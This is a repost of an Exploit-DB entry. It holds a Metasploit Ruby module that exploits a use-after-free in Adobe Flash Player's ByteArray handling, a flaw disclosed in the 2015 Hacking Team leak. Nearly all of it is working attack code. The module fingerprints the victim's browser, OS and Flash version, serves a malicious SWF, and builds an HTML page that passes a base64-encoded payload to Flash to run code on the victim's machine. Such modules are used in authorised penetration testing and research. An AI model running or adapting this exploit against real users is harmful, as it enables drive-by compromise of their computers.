Adobe Flash Player – ByteArray Use-After-Free (Metasploit) - 体验盒子

作者： Metasploit
日期： 2015-07-08
类别：
remote
平台：
multiple
来源：https://www.exploit-db.com/exploits/37523/
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name'=> 'Adobe Flash Player ByteArray Use After Free',
'Description' => %q{
This module exploits an use after free on Adobe Flash Player. The vulnerability,
discovered by Hacking Team and made public on its July 2015 data leak, was
described as an Use After Free while handling ByteArray objects. This module has
been tested successfully on:

Windows XP, Chrome 43 and Adobe Flash 18.0.0.194,
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194,
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
},
'License' => MSF_LICENSE,
'Author'=>
[
'Unknown', # Someone from HackingTeam
'juan vazquez' # msf module
],
'References'=>
[
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'],
['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform'=> ['win', 'linux'],
'Arch'=> [ARCH_X86],
'BrowserRequirements' =>
{
:source=> /script|headers/i,
:arch=> ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81 ||
os =~ OperatingSystems::Match::WINDOWS_VISTA ||
os =~ OperatingSystems::Match::WINDOWS_XP
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::CHROME
when 'Linux'
return true if ua == Msf::HttpClients::FF
end

false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
# Note: Chrome might be vague about the version.
# Instead of 18.0.0.203, it just says 18.0
return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468')
end

false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged'=> false,
'DisclosureDate'=> 'Jul 06 2015',
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf

super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end

print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]

if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="https://www.exploit-db.com/exploits/37523/<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'hacking_team', 'msf.swf')
swf =::File.open(path, 'rb') { |f| swf = f.read }

swf
end
end